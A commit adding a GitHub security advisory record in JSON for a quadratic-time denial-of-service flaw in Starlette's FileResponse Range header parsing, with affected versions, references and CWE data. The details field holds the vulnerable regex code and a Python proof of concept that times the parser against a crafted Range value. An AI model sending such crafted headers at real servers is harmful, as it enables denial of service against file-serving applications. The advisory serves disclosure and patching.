Skip to content

Commit c7f3a97

Browse files
1 parent 80f505d commit c7f3a97

File tree

1 file changed

+69
-0
lines changed

1 file changed

+69
-0
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7f5h-v6xp-fcq8",
4+
"modified": "2025-10-28T20:38:01Z",
5+
"published": "2025-10-28T20:38:01Z",
6+
"aliases": [
7+
"CVE-2025-62727"
8+
],
9+
"summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``",
10+
"details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) — `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -> str:\n \"\"\"Build the Range header value body: '0' * num_zeros + '0-'\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -> float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -> None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "starlette"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.49.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.49.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/Kludex/starlette"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-400",
62+
"CWE-407"
63+
],
64+
"severity": "HIGH",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2025-10-28T20:38:01Z",
67+
"nvd_published_at": null
68+
}
69+
}

0 commit comments

Comments
 (0)